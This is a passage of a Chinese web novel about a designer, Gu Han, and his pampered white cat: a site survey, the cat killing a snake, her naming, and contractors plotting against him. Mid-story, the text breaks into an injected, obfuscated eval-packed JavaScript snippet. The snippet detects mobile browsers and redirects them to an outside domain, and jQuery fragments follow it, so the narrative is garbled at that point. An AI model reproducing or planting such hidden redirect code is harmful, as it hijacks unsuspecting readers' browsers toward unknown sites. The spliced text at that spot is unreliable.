那红色的鱼近在眼前,特有的海鲜腥气迷得猫猫将烦恼都抛之脑后,小爪子一扒拉就从墙角钻了出来。 顾涵用筷子挑起了点鱼肉送到猫猫嘴边:“吃吧,喜欢吃明天还给你带。” “嗯嗯嗯。” 如果猫猫会点头,那她现在就是个点头如捣蒜的状态。 对于兽类来说,满足饱腹欲是非常重要的,其他需求都在此之后,所以猫猫大快朵颐之时,已经把之前的不满都忘得七七八八了。 顾涵有一下没一下地摸着猫猫后背,给她拆了包牛奶喝。趁她专注进食的时候用湿纸巾将她身上的灰尘擦了擦。 把猫猫独自放在酒店是行不通的,经过上次的事后,她可能得了分离焦虑症,每当他离开猫猫身边,她就会出现极度焦虑的反应,不吃不喝,把自己藏起来。 5. 喵 顾涵把猫猫放在沙发之后就进了浴室洗澡,再出来时,地毯上全是水渍,玻璃杯的碎片洒满一地,猫猫理直气壮地蹲在干净的地方凝视他。 “喵。” 猫猫嘟嘴,她还没忘记今天被这个人抛弃的事。 可恶,他竟然又一次把她丢下了,别以为给她吃鱼鱼她就能忘记这事,没门,哼! 顾涵无奈一笑,随意用毛巾擦着头发走过来,身上披着宽松的浴袍,领口微微敞开,露出结实的锁骨和若隐若现的胸膛,整个人散发着一种不经意的性感,看起来很温暖的样子。 猫猫当即从沙发上跳下,三两步来到顾涵跟前,后爪用力一蹬,前爪就攀上了顾涵的小腿。 让她上去让她上去,猫猫挠着顾涵的小腿,想借力向上爬,顾涵微微弯腰,单手将猫猫搂在怀里,捏了捏她的耳垂:“怎么这么调皮?故意的?” 猫猫:“哼。” 她把脸埋在顾涵的脖颈处,用舌头舔了舔他身上还未干透的水滴,清新的雄性气味氤氲袭来,模糊了猫猫的味觉,她沉浸在这样熟悉的味道中,一时间怒气消散了大半,叫声也娇气许多。 打电话叫客房服务收拾残局后,顾涵就抱着猫猫一同陷进柔软的床铺中,他单手支着下颌,侧着身盯着猫猫看,拇指从她的的额头往下抚过鼻子,再到嘴巴。 “小调皮鬼,还在生气?”顾涵叹了口气。他说的这些,也不知道猫猫能不能听懂。 “今天我是因为要去工作没办法带你,懂不懂?”顾涵仰头靠上枕头,双手握住猫猫的腋下将她抱上半空:“你放心,以后我去哪里都会带着你,你乖乖的,不要再调皮捣蛋,明天我再带你去吃东星斑。” 猫猫双耳一竖。 东星斑?是红色那个鱼吗?要吃要吃,猫猫爱吃,猫猫还想吃。 猫猫蹬了蹬腿,顾涵把她放下床。猫猫轻车熟路地从被子缝隙中钻进去,窝在了顾涵的怀里,小爪子按在他结实的胸膛上,像是给他踩奶。 “乖乖睡吧。”顾涵拍拍猫猫后背。 “喵。”猫猫半合着眼,从被窝探出脑袋,用舌头舔了舔顾涵的喉结,标记他的存在后才安然睡去。 翌日早。 顾涵没有食言,带着猫猫一同前往了项目所在地。 抵达的时候,在项目入口处围着许多人吵吵闹闹的,顾涵看了眼,认出这是附近的村民。 这个在建的硫磺温泉度假村是当地招商引资的重要项目,目的是吸引国内外游客,打造独特的旅游品牌。这一块在未开发前是周边村落的荒地,如今因缘际会摇身一变成为香饽饽,所以周边村民都相当关注项目的进展,大家都想借这个机会自己干点生意,做点配套设施。 “涵哥。”钟博明从远处走来,朝顾涵打招呼,瞧见他怀里抱着的猫猫,眼睛一亮,手欠欠地伸过来想摸,被顾涵挡了回去。 “想摸自己养一个。” “嘿!” 钟博明笑笑,与顾涵一同向着临时办公点过去:“涵哥,你这招真是高,这不,一大早附近的村民都来围观了,施工那边骑虎难下,不干也得干了。” 顾涵对这事早有预料,脸上没有过多表情。钟博明继续说:“昨晚我谎称这边的地形有问题,找了趟村书记让他看看设计图,重点让他看了看河提方向的挡土墙,果然不出你所料,村书记看完图纸之后就把平面图公示出去,连夜召开了代表大会,商量着说以后河提落成就再也不用连年雨季都要村民出钱修补了。” “这不,今天一早大家都来凑这个热闹,墙体厚度他们是不敢再改了,要是减少一丁点被村民看出来,他以后想验收都难。毕竟这是人家的地盘,施工要是想平平安安生产,得讨好这群爷啊,不然三天两头村民来闹事,工期不知道要拖多久。” “嗯。”顾涵沉默听完。 他只是把矛盾转移出去了而已,利益当前,施工方的选择不难猜测。 “走吧,先简短开个会。” “好。” 顾涵的无界设计公司总部在A市,在这里并无分公司,所以公司的设计师们就在项目地上搭了个简易的钢屋架作为简易办公室,在这里办公。 顾涵刚进门就引得众人纷纷侧目。 “哟,顾总,这是你猫?” “顾总还有时间养猫啊?” “这猫什么名字啊,太可爱了吧,想把她rua死。” 猫猫好奇地张望着这里的人,怎么这么多人啊,这些都是谁啊?不认识,但他们看起来似乎没有恶意。猫猫缩回顾涵的怀里,抱着他的脖子,宝蓝色的眼睛溜溜一转。 “小猫咪还挺怕生,就粘着顾总不肯放手。”说话之人是给排水设计组的组长彭山柳,她对着猫猫友善一笑后,就开始跟顾涵汇报工作了。 温泉项目的主体设计是已经落定了的,现在的工作任务是寻找水源头,这事由彭山柳带人负责,只不过,水管铺设中途需要建造的配套设施得由顾涵把握,所以顾涵才会参与这次的方案。 彭山柳:“勘测组已经初步探明水源头在距离施工地三公里左右的山上,具体的,还得我们自己去找找,航拍申请已经下来了,今天就可以。” “好。”顾涵点了点在场的人数,一一安排任务后,起身准备出发。原本躺在会议桌上的猫猫见他起来也跟着一跃而起,彭山柳看她实在可爱,用手摸了摸猫猫的头顶:“顾总,小猫有名字吗,她叫什么?” 这话问的顾涵一怔。 小猫咪的名字,他还真没想过。 他是第一次养宠物,没想那么多,如今回忆起来,确实别的养宠人都会给自己的宠物起名字。 “还没有。”顾涵回答。 “依我看,小猫咪这么白,就叫她小白好了。”钟博明说。 “去去去。”彭山柳推了他一把:“叫什么小白,你土不土,这么好看的猫猫,当然得配一个好听的名字。” 确实得配一个好听的名字。顾涵默默在心里记下这件事,将猫猫装进背包,带着她向山出发。 水往低处流,通常而言,水源头都是在荒山野岭中,这次也不例外,他们要勘察的这座山没路把车子开进去,只能步行,顾涵背着猫猫走在前面,中途休息的时候给猫猫喂了点水。 猫猫对这样的大自然环境新奇的很,喝了水之后就从顾涵的腿上离开,绕着附近走了两圈,这里闻闻,那里嗅嗅。 彭山柳找了棵树 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042957|162624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐下,屈膝把笔记本架在腿上:“航拍图返回来了,水源头就在这附近,可以记录地形了。” “好。”钟博明接到指示后,立即安排人员对着周边地形拍照记录,准备现场材料以备日后设计参考。 此时已接近黄昏时分,暮色如纱,夕阳的余晖穿过枝叶,树影婆娑,光影交错。 足足走了一天大家都累了,打算原地休息一会就下山。顾涵把猫猫抱回来,撕开一袋猫粮递到它嘴边。 猫猫低头闻了一口。 咦,这是什么? 猫猫又低头闻了一口,眼睛嫌恶睁大。 不要不要,这个闻起来不好吃,猫猫要吃红色鱼鱼。 她用爪子把猫粮往外推了推,对着顾涵猫叫一声后,黏黏糊糊地倒在他的小腹上,慢慢悠悠地转一圈。 顾涵盯着她看,一时半会没说话。猫猫也看着他。 他居然没有反应,猫猫眼神露出不满,她想吃鱼想吃鱼! 猫猫当即站了起来,双爪攀上顾涵的双肩,对着他的脸:“喵。” 什么叫持宠而娇?顾涵见识到了,猫猫在他怀里耍着无赖不肯吃猫粮。他忍不住笑出声,轻轻挠了挠它的下巴:“你先吃点垫垫肚子,等会下山就带你去吃东星斑。” 猫猫眼睛一亮。 顾涵把猫粮推到它嘴边,猫猫看了一眼,随即有气无力地在猫粮边上闻了一圈,她不想吃这个,闻起来就不好吃的样子。 “怎么了,猫猫累到了不肯吃东西?”彭山柳问了一句。 钟博明也凑过来看热闹,捡起包装袋看了一眼:“这玩意不便宜啊,我朋友家养了只胖橘,我见识过,开袋就没,怎么到涵哥这里猫猫竟然不肯吃!” 彭山柳笑笑,从背包拿出一个即食罐头:“估计是被顾总养刁了胃口,太宠了。来来来,姐姐这里有鱼肉罐头,吃不吃?” 鱼肉罐头四个字落在猫猫的耳里只剩下个“鱼”字在响。 她轻轻一跃从顾涵的怀里跳出来到彭山柳面前,殷殷地看着她。 顾涵无奈一笑:“小贪吃鬼。” 彭山柳把罐头里的肉挑出来喂给猫猫,顺势又摸了摸她的脑袋,毛绒绒的触感非常好,她感慨道:“真可爱啊。” “喵。” 猫猫吃饱肚子,被彭山柳抱回给顾涵:“顾总,趁现在还有时间,我去周围再看看有什么发现。” 彭山柳是这次给排水设计的组长,对于项目的设计进度她有很大责任,顾涵点头表示应允。 猫猫重回顾涵怀中,舒舒服服地挺着个小肚子看风景,顾涵有意逗她,对她说:“现在吃这么饱,待会还怎么吃得下东星斑?不如别吃了,留到明天。” 猫猫一听就不乐意了,不行不行,明明说好给她吃的,不可以留给明天。 她气咻咻地用小猫爪给了顾涵一拳。 顾涵有时候会含糊,总觉得猫猫真的可以听得懂他的话,比如现在,猫猫为了东星斑跟他瞎闹,像极了小女孩在撒娇。 “骗你的。”顾涵亲了亲猫猫的侧脸:“我怎么舍得你……” “啊啊啊!” 顾涵话还没说完,不远处传来了彭山柳惊慌失措的喊叫声。 6. 喵 黄昏悄无声息告别。 森林被一层厚重的夜幕所包裹,月光来不及探头,就被枝丫淹没在了树影里。 距离彭山柳发出尖叫声已经过了有十分钟,大家四散开来找寻她的踪迹都没有找到。这并不符合常理,既然能听到她的声音,就证明人肯定是在附近的。 顾涵眉头紧锁,单手撑在老树干,用手电筒往脚下的斜坡照去,发现底下传来几道微弱的光亮,应该是彭山柳。 “山柳不会掉下去了吧?” “来来来,搭把手,我下去瞧瞧是怎么回事。” “小心点,这里全是黏土,根本站不住脚。” “……” 大家众说纷纭,猫猫眯了眯眼。她的眼睛比人类敏锐,即便是在这样微弱的光亮下,她也能清晰地分辨出事物。 听他们说,是刚才给她吃鱼罐头的姐姐出事了。姐姐给她吃罐头,姐姐好,她不要姐姐出事。 猫猫从顾涵的胸前跳下,站在斜坡顶端,她屏住呼吸,一阵微风拂过,森林中的声音在夜晚变得格外清晰,女人哭泣的声音隐隐传来。 “喵!” 猫猫忽然大叫,顾涵低头看去,只见猫猫一个俯冲,白色身形利落地跑下斜坡,接着消失在枝繁叶茂的灌木丛中。 顾涵的表情瞬时凝固,连带心跳都像是在这一刹那停止了。天色越来越晚,猫猫在这样的森林里贪玩很可能会跑丢,顾涵的心沉了沉,赶紧跟着猫猫跑过的地方下去。 “乖,快回来,别在这里贪玩。” 一滴冷汗从顾涵的额前滑落,他扶着树干,对着前面模糊的夜色说,可回应他的有簌簌作响的树叶,没有猫猫。 猫猫还小,换算成人类的年龄也不过是十八九岁,淘气又爱玩,她根本不懂在这里迷失的话,就很有可能一辈子都走不出这片森林了。想到这里,顾涵心急如焚,他学着猫猫喵喵叫的口吻,打算引诱她出来。 “嗷呜,嗷呜!” 尖锐又刺耳的猫叫声在不远处响起,顾涵身形一震,立马朝着声音的方向过去,手电筒一照,刚好对准了蓄势待发准备进攻的猫猫。 她脚步轻盈,肌肉如同拉满的弓弦,目光锁定在眼前的草丛,一条吐着毒信子的蛇抬起上身与猫猫对视,蛇尾在地面上盘起,漆黑鳞片泛着冷冽的光泽。 说时迟那时快,猫猫如离弦之箭般猛然跃起,爪子在皎月下泛出银光。蛇的身体迅速蜷缩,试图仰起头部反击,但猫猫的速度更快,锋利的前爪准确无误地按住了蛇的七寸。 蛇剧烈地扭动身体想要挣脱束缚,但猫猫的爪子如同铁钳,牢牢地控制着它,猫猫一点都没迟疑,直接用牙齿咬住了蛇的颈部,结束了它的生命。 “哇!” 堪堪赶来的众人见到这一幕都傻眼了。 娇弱小猫咪勇战毒蛇! 猫猫在大家的惊诧感慨中抬起头,一眼撞入顾涵深邃的瞳仁,他的目光难以言说,似乎包含着许多情感。 这时众人才发现原来彭山柳就坐在毒蛇旁边,她满脸冷汗,不停地轻拍胸口,看上去像是吓坏了,喘着粗气说:“刚、刚刚这条蛇想咬我,是猫猫冲出来拦在了我前面。” “那么长一条毒蛇,确实太吓人了。”钟博明摸了一把额头,不自觉手有些软,连忙把彭山柳扶起身。 “是啊,我快被吓死了。”她不小心脚滑摔下了这里,结果惊动了在这里盘踞的毒蛇。彭山柳回忆起刚才发生的事仍旧惊魂未定。 “顾总,你的猫猫可真是厉害!” “生擒毒蛇,简直就是猫中李连杰,布偶版甄子丹啊!” “这是什么天使小可爱,我也要养一个。” 一句句夸赞从天落下,掉在猫猫的头顶,她骄傲地仰起脖子望向顾涵。 顾涵目光淡淡,他半蹲下身对猫猫张开双手,猫猫小跑两步扑在他的怀里。 “喵,喵?” 虽然顾涵的表情看上去毫无异样,但猫猫却察觉出他情绪不对,顾涵抱她的力气比平常更大,连她想伸伸爪子都伸不了。 一行人来到山下,忙了一天大家都饥肠辘辘,无精打采。 顾涵倚靠在车门,对着他们打了个响指:“辛苦了,今晚海鲜大餐我请,阿明去订个包间。” 海鲜大餐几个字属实挑动神经,钟博明煞有其事地对着顾涵敬礼:“好嘞,保证完成任务!” 顾涵坐进车里,看着同事们陆陆续续离开,猫猫被他放在了副驾驶,月光如纱,轻轻笼罩着车身,旁边的紫花风铃木在月光中舒展枝叶,投下斑驳的影子。 猫猫蹲在座位上,姿势乖巧。她盯着顾涵看了半响,见他一声不吭,猫猫越过扶手箱站在顾涵的大腿:“喵?喵?” 他怎么了?为什么不说话?猫猫做了这么勇敢的事他为什么不夸猫猫? 而且还用这样一种眼神看猫猫?为什么? 讨厌讨厌讨厌,他不理猫猫,那猫猫也不要理他了! 猫猫撇嘴,正欲跳回副驾驶,一只温暖的手将她拦腰抱了回来。 “喵!喵!” 不准抱我!猫猫急的喊了出来,挣扎着四肢,顾涵将她放到自己跟前,和自己面对面,少见的语气严厉:“坐好。” 猫猫轻微一愣,两只小耳朵马上就竖了起来,他好凶哦,猫猫不喜欢。 意识到自己刚才的语气可能吓到猫猫,顾涵闭了闭眼,尽力把自己的口吻放温柔点:“我有话要跟你说。” “喵?” 猫猫不明所以。 望着这双纯净的宝蓝色眼睛,顾涵在心底里笑话自己,她是猫不是人,你跟她说什么她都不懂。 哎—— 顾涵轻轻叹了口气,像是认输一般,把猫猫抱起来,轻轻捋着她的后背:“刚才的事你做的很好,用我们人类的话说就是见义勇为,你是一只勇敢的小猫咪,非常值得表扬。” 猫猫:“哇。” 她眼睛明亮地对着顾涵眨眼,主人夸她了耶,好开心好开心。 “但是。”顾涵说话的声音降了一调,他捏着猫 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像晶莹宝石般漂亮的蓝色眼珠倒影着他的脸,蓝色流光交相辉映,宛如璀璨星辰,美的让人无法移目。 顾涵瞳孔骤然放大,像是被突如其来的震惊夺去了言语能力,如果他没看错的话,猫猫刚才的的确确是对着他眨了三下眼睛? 他不可置信地追问,捧着猫猫的脸:“你……真的听得懂我在说什么?” 什么什么啊?猫猫不懂,猫猫继续眨眼。 一、二、三。 猫猫乖巧可爱的动作把顾涵逗笑了,他把猫猫抱起来,对着她轻轻一吻:“走了,带你吃大餐。” “喵。”猫猫被亲了之后,也有样学样地跟顾涵贴贴,在他的脖颈吻了好几口。 顾涵驱车来到餐厅。 餐厅门前是成排的增氧鱼池,里面活跃着各种海鲜。顾涵带着猫猫一个一个池子仔细看:“任你选,奖励你吃。” 认识顾涵之前的猫猫一直都是流浪状态,连吃饱肚子都很艰难,如今这么多琳琅满目的食物可以随便她挑,猫猫开心的在顾涵的脚底下转圈圈。 她要吃这个这个,还有那个那个,啊,这个闻起来也想吃。 餐厅老板在猫猫的指引下捞起海货,跟顾涵唠嗑:“还剩最后一只澳龙了,要不要试试?” 顾涵瞧了眼鱼池里澳龙的状态,很新鲜,点了点头:“虾类全部帮我白灼,鱼类帮我清蒸,不下葱姜和调味料。” 老板顿了顿,有些怪异地看向顾涵,以为自己听错了,问道:“虽然我这里的货都很新鲜,但葱姜不下的话太腥,你吃不了。” “不是我吃,是她吃。”顾涵把猫猫抱起来,猫猫对着老板叫了一声,彷佛在说:“就按他说的做。” 老板听闻之后,上上下下地打量顾涵好几眼,脸上堆起热情的笑容:“哟,您还真是大方,我这儿的鱼都是每天早上渔船拉来的,新鲜的很,要不您加一下我微信,以后有需要直接找我?” 考虑到项目的跟进还需一段时间,顾涵点了点头。 7. 喵 众人酒足饭饱。 猫猫在钟博明艳羡的目光下独享了一整只清蒸澳龙。 钟博明的目光从艳羡变成哀怨,最终变成死皮赖脸:“涵哥,我现在去你家做猫还来得及吗?我精通撒娇卖萌,调皮捣蛋一系列技能,求您收了我吧!” “我也报名!” “算我一个,算我一个。” “涵哥,不瞒你说,其实我生肖属猫,求您,也收了我吧。” 散席后大家哄闹玩笑,纷纷感概人不如猫,累死累活一天过得还没有猫猫幸福。 顾涵看了眼手表,回市区过夜的话时间上来不及,于是喊钟博明帮他准备一下。 钟博明说:“放心吧涵哥,你的房间我帮你留着的,住宿用的东西也都还在。” 钟博明所说的房间其实是一间小小的一居室,他们从A市过来这边出差,有时候赶项目时间太紧没空回市区只能在这边过夜,所以跟业主商量了一下,在项目地附近给他们租了一栋民房当做宿舍。 顾涵嫌弃这里的房间太小,环境不好,以往极少留宿这里。但今天不一样,他身边带着猫猫,这么晚带着她赶回市区担心她会太累,所以顾涵想了想,决定在这里呆一晚上。 猫猫确实已经困了,她眼皮耷拉,柔弱无骨地挂在顾涵的手臂上,下巴搭在他的臂弯,感知到他走路的晃动,她还蹬了蹬腿,想让他抱稳一点。 顾涵把猫猫放在宿舍的布艺沙发,只见她仰面朝天,四肢随意摊开露出粉嫩的小爪子,胡须微微颤动,呼吸平稳而缓慢,身体随着呼吸微微起伏,仿佛整个世界都安静了下来。 他盯着猫猫看了好久,软萌萌的一坨圆球,可爱到让他想要揉捏她,啃咬她,亲吻她,再把她抱在怀里跟自己睡觉,这股惊人的保护欲让顾涵根本控住不住自己。 他抱起熟睡的猫猫亲了好几口,猫猫被他下巴上的胡茬戳醒了,哼哼地望着他。 “喵喵喵。” 猫猫的声调拖得很长,明显是对自己被吵醒感到很不满。 顾涵捧着猫猫举高,然后用鼻尖碰了碰她的脸:“宝贝,你真可爱,今晚跟我一起睡?” 猫猫半睁开眼,顾涵漆黑双眸宛如温柔漩涡,静静地诉说着无尽爱意,猫猫情不自禁被吸引住,愣了愣。 主人的眼睛好像是在发亮耶?他这么看着猫猫,猫猫好喜欢,猫猫也喜欢跟他睡,猫猫喜欢他身上的味道。 “嗯嗯嗯!”猫猫张开双爪扑进顾涵的怀里,柔软的肉垫攀着顾涵的肩膀挂在他身上,小嘴巴在他的侧脖颈处舔了舔,又吻了几口,发出咕噜咕噜的声音。 “好了宝贝。”顾涵捏着猫猫的后颈将她提起来:“睡觉之前,先给你洗澡。” 今天猫猫在山里撒欢了野,脸上手上都是灰尘,顾涵用温水把猫猫从里到外洗了个遍,又帮她吹干毛发,将她放上床自己才去洗澡。 老式的一居室没有做干湿分离,连浴室门都老化的摇摇晃晃。 猫猫听着淅沥沥的水声泛起了疑问。 主人这是怎么了,为什么这么久还不出来?为什么会有这么大的水声?难道是淹死了? 很有可能啊! 他又不像猫猫这么机敏,被淹死也是正常的。 她从床上跳下,跑着冲去浴室,小爪一挥就把浴室门推开了。 湿热的水雾顿时扑面而来。 猫猫蹲在浴室的瓷砖地上往上看。 嗯,主人还没死,他在……他在做什么呢?猫猫看不懂,这是她第一次见到主人没穿衣服的样子,身高腿长,肩膀也很宽阔,看上去很有安全感,就是中间有一坨黑色的,不知道是什么,看起来很有侵略感,难不成是逗猫棒? “喵。” 热水从顾涵的头顶留下,晕湿了他的睫毛,模糊了他的视线,乖巧猫猫直勾勾地盯着他看,露出不谙世事的单纯眼神。 虽然她不是人是猫,可顾涵却做不到无动于衷,他怔住半秒,僵住动作,直到猫猫走到他的脚下用爪子踩他的拇指。 “哎,干什么呢?” 猫猫停下来抬起头:“喵喵喵。” 她是想让主人不要玩水了,他不像猫猫这么手脚灵活可以从水里抓鱼,他这么大块头会被水淹死的。 “你……”顾涵有些语塞,心中升起几分无奈和尴尬,这小家伙怎么什么都要看。他忍俊不禁,担心它被水溅到或滑倒,顾涵三两下用花洒冲了冲自己的身体之后关掉,弯腰把猫猫抱起。 “怎么我洗澡你也要跟着来,就这么好奇?”顾涵叹了口气,重新帮猫猫吹干毛发,他自己则是换上了一整套的睡衣。 经过刚才的事,他有些不好意思在猫猫面前裸-体,不然按他平常的习惯,他裹条浴巾就行了。 叩叩叩—— 门被敲响,顾涵略有一丝惊讶,心想这么晚了有谁找他? 打开门,是团队里的几个年轻女生,外加一个彭山柳。 几个女生笑盈盈地问:“顾总您还没睡呀?” 顾涵双手抱胸,不置可否:“嗯?” “我们……”女生们互相对视一眼,有些不好意思地笑笑,彭山柳爽朗地接过话:“我们就是想来找你的猫玩玩。” “是呀是呀,猫猫实在是太可爱了,我们想给她拍照。” “拍照?”顾涵刚想找理由拒绝,屋里的猫猫听到声音自己走了出来。 咦,怎么这么多人?罐头鱼姐姐也在。 粉嫩嫩的毛绒绒刚出现就被女孩子们围住了:“卡哇伊猫猫,真的太可爱了,太漂亮了,好想亲,好想抱。” 猫猫开心地眯起眼睛。 她们说喜欢猫猫,还说猫猫可爱,猫猫漂亮呢! 顾涵半蹲下来询问猫猫的意见:“姐姐们想找你玩,你愿不愿意?” 猫猫轻轻点头,走到彭山柳的脚下转了一圈,伸出爪子扒拉她的裤腿。 好吧,答案很明显了。 顾涵转身回房拿上自己的手机,把空间留给她们,又忍不住吩咐说:“别玩太晚。” “嗯嗯!” 房间被占领,顾涵在楼下散了一圈步回来 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她们说猫猫这么打扮很好看哦,主人,你也会为我着迷吧? 顾涵坐下在床边,伸手扯了扯猫猫的拉夫领,这个款式有点太单调了,若是带珠宝项链的话会更合适。 猫猫挺直腰杆站着,就差把夸我两个字说出口了。 “好看,我的宝贝是全世界最好看的小猫咪。”顾涵毫不吝啬自己的夸赞,他侧躺下床,支着手臂看着她说:“宝贝,我给你取了个名字。” “嗯?”猫猫疑惑脑袋,跟着顾涵的姿势睡下床,下巴轻轻搁在床铺,睁大她清纯的眼睛。 顾涵伸长手臂把猫猫抱在怀中,低声问她:“叫凝恬,怎么样?” 凝恬?猫猫不懂这是什么,她只要主人喜欢就好。 起名字这事顾涵想了好久,直到刚才见到猫猫公主那一幕他才确定下来。凝恬,意为肤如凝脂,恬美纯真,猫猫的纯白毛色和她单纯的性格,很契合这个名字。 “以后,你就叫凝恬,跟我一样姓顾怎么样?以后我叫你恬恬或者是凝恬,你要知道我是在叫你。”顾涵握着猫猫的小爪,在她嫩嫩的脚垫上亲亲一吻。 “恬恬?” “喵?” 顾凝恬?听说在人类的世界里他们都是有名字的,这就是她以后的名字了吗?猫猫一直都被人叫喵,或者猫,这是她第一次拥有自己的名字。 顾凝恬,顾凝恬,顾凝恬。 好了,猫猫记住自己的名字了。 想起之前自己和顾涵的约定,猫猫对着顾涵,一、二、三,眨了三下眼睛。 顾涵有些不可置信地看着她的动作,他忽然冒出一种奇怪的感觉,彷佛恬恬不是猫,而是一个真真切切的人,是一个初成人形的小女孩,不然她怎么会这么有灵性,听得懂他的话?明白他的意思? 但这怎么可能?也许恬恬只是比别的猫要聪明一些而已。顾涵深吸一口气,重重把猫猫抱入怀中,喃喃自语:“你是上天送给我的礼物吗?” 8. 喵 夜半时分。 窗外树影婆娑,万籁俱寂,远处的灯火零星闪烁,偶尔传来几声虫鸣。 猫猫从被窝里探出头,昏暗的房间里只有月光的暗淡身影,她深呼吸几口,懒洋洋地伸了伸腰,这一觉睡的真舒服,让她看看主人在做什么。 她用猫爪肉垫在顾涵的脸上扒拉了两下,低头凑近闻他的鼻息,男人强烈的雄性气息立马窜入猫猫的鼻腔。 嗯,主人还没死,他在睡觉。 可是他为什么要睡这么久? 是不是生病了?猫猫要不要叫醒他?会不会他睡着睡着就死了? 于是乎猫猫站在枕头上,用两只粉色小肉垫推搡顾涵的额头,见他一动不动,她又用鼻子去抵住他的鼻子。 突如其来的一股窒息感让顾涵从睡梦中惊醒。 宝蓝色的眼睛正好奇地盯着他。 “宝贝?”顾涵嗓音暗哑,半眯着眼将猫猫抱过来趴在自己的前胸上:“怎么了?饿了?还是渴了?” 猫猫摇头。猫猫不饿也不渴,就是担心你。见到顾涵没事,猫猫顺势低头把下巴搁在顾涵的胸肌上,他的身体很暖,就像是一个天然的大暖炉,猫猫在上面撒着娇娇:“喵喵喵。” 顾涵闭上眼睛,在她的脑袋上摸了两圈:“乖乖睡觉,别闹。” 他强有力的心跳声传入猫猫的耳朵,温暖安全的怀抱让猫猫卸下了焦虑,前爪摊开环着顾涵的胸膛就睡了过去。 翌日清晨。 猫猫醒来的时候顾涵还在睡,猫猫趴在他的胸前用爪子画圈圈,酥酥痒痒的感觉让顾涵睁开了眼。 “早。” “喵。” 猫猫趴在顾涵的脸上跟他贴贴,弄得他鼻子周围都是猫毛,顾涵抱着她起身:“调皮蛋。” “喵喵。”猫猫喜欢和主人贴贴,她最喜欢粘着主人了,她蹬蹬腿从顾涵的手里挣脱,跳回床上钻入被子,看起来像是想睡回笼觉。 顾涵弯腰抱着猫猫亲了好几口之后到浴室冲了个澡,穿上衬衣西裤,钟博明打电话过来说业主派代表来了,沟通接下来的设计细节。换句话说就是,开会,开完会之后到施工现场实际考察,预计要奔波一整天。 “凝恬?”顾涵弯起衬衫袖子,站在床边喊猫猫。猫猫舒舒服服地趴在枕头上装没听见。 “怎么了?还没睡够,要出发了?”顾涵拍了怕猫猫的后背。 “喵。”猫猫不困,她只是喜欢顾涵身上的味道,所以才想趴枕头。 “走了。”顾涵半蹲下身朝她张开手臂,猫猫乖巧地抱住他,顾涵低头跟她对视:“今天我很忙很忙,没办法照顾你,让你跟昨晚的姐姐们呆着好不好?” 很忙?猫猫侧头不解,是指要去打猎很久不能回来的意思吗?猫猫可以不吃红色的鱼鱼,她想粘着主人。 “你放心,我跟你保证,我一定不会丢下你,保证忙完之后马上回来见你,你跟姐姐们玩好不好?”顾涵耐心解释,看到猫猫逐渐暗淡的眼神,他说:“你乖乖听话,我买东星斑给你吃,还有昨晚的大澳龙,怎么样?” 哇。 又可以吃好吃的了! 可是……猫猫还是想和主人待在一起。 猫猫在两种选择间来回横跳。 “恬恬,听话,我不把带你在身边是因为没办法照顾你,我很爱你,永远不会丢下你。” 之所以顾涵在捡到猫猫没有第一时间收养她,就是因为考虑到他工作的特殊性,没办法好好照顾猫猫才会选择放手,让猫猫跟着他东奔西跑他实在舍不得。 “喵。”猫猫从顾涵的怀抱里站起来,双爪搭着他的肩膀。好的吧,猫猫也爱你,你记得早点回来,别忘了我的红色鱼鱼。猫猫在他的脖子舔了舔,留下她的味道。 顾涵把猫猫交给了彭山柳。 她们那一组的组员大多都是年轻女孩,猫猫一出现就被她们围住了。 “麻烦你了。”顾涵临走前对彭山柳交代道:“猫猫有点分离焦虑,要是她应激了你就给我打电话。” “放心吧。”彭山柳抱着猫猫,抓着她的爪子挥了挥跟顾涵告别:“我会把她照顾好的,对了,昨晚拍的照片发你手机啦。” 顾涵打开看了眼,骄傲的猫猫公主面对镜头,露出开心的喵喵笑,非常可爱。他把照片设置成壁纸。 “恬恬,我走了,你乖乖跟姐姐们玩,晚点我来接你。”顾涵逗了逗猫猫的下巴,猫猫看着他眨了三次眼睛。 彭山柳把猫猫放上桌面,把顾涵留下的玩具拿给她玩。 猫猫推搡着球球,没两分钟就腻了,转而走桌子上走来走去,看姐姐们都在干什么。 因为是临时办公室,所以设施很简陋,桌子也不是写字楼的办公桌,而是用两张长方形吃饭桌拼接起来的,设计师们把没用的图纸搁在桌面垫着。猫猫用手扒拉,对上面画着的图案感到很新奇。 看着认真工作的姐姐们,猫猫用尾巴卷起一支铅笔,用爪子扒着铅笔的头头在图纸上涂涂画画。 彭山柳忙了一会,从电脑抬起头四下搜寻猫猫的踪迹,结果发现她蹲在图纸上,自己用笔画画,她凑近看了眼,发现她是在临摹图纸上的手稿。 真是太神了,这是什么神仙猫猫,居然还会画画?彭山柳不可置信地看了好几眼,直到被猫猫发现,被她用爪子挠了挠衣领。 好无聊,猫猫双目无神地看着四周。 这里静悄悄的,也没有人跟她说话,主人又不在这里。猫猫百无聊赖地在桌上转了几圈,在墙角找了处舒服的地方,枕着图纸打算睡觉。 结果,隔壁房间的说话声传了过来,很吵,吵得猫猫根本睡不着。 猫猫气咻咻地拧起眉心,打算换个地方,就在这个时候她听到了一个敏感的词语。 “顾涵?设计那个小子是吧?我就知道是他在背后捣的鬼!” 是谁?是谁在说主人的坏话? 猫猫一惊而起,连忙贴着墙根仔细听,那边却没了声音,猫猫心里焦急,纵身一跃就从桌子跳了下去,寻着声音的方向来到隔壁。 她蹲在门口,看到这里站着好几个高大的男人。 他们吞云吐雾地抽着烟,语气愤懑:“谁知道他来这手?你是不知道他有多难搞,简直就是硬骨头,不就是让他改改图吗,他就是不改,妈的。” 另一个人接话道:“他算哪根葱?老子迟早收拾他!” “小点声,那小子在这行名气不小,国内国外项目不少,估计有点人脉。” “他有个屁人脉,不就是个设计吗,神气什么,老子根本就没把他放在眼里,等着瞧吧,我迟早收拾他。 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猫猫得手之后就从桌子底下绕了出去,与牛大兴保持了两米的距离。 “怎么回事?”彭山柳站在门槛,先是大致看了看房间里的情况,接着把目光放到猫猫身上,她愤怒呲牙,后背上的毛尽数炸起,看起来非常生气,她赶紧把猫猫护在身后。 